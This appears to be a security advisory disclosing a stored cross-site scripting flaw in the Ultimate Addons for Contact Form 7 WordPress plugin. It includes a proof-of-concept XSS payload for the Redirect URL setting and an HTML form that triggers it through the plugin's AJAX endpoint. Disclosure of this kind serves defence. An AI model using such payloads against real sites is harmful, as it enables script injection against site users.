Ultimate Addons for Contact Form 7 < 3.1.29 – Admin+ Stored XSS

Description

The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)

Proof of Concept

1. Ensure Contact Form 7 is installed, along with this plugin
2. Visit Contact > Ultimate Addons, ensure "Pre-populate Field" is checked, and click Save.
3. Visit Contact > Contact Forms and click "Edit" for a form.
4. Click the button "UACF7 pre-populate Fields".
5. In the "Redirect URL" field enter `<img src=x onerror=alert(document.domain)>`.
6. Click the "Add Field" button to ensure at least one field is added, and click "Save".
7. Submit the following form in another tab and see the alert trigger:

<html>
  <body>
    <form action="https://WORDPRESS_URL/wp-admin/admin-ajax.php?action=uacf7_ajax_pre_populate_redirect" method="POST">
      <input type="hidden" name="form_id" value='43' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>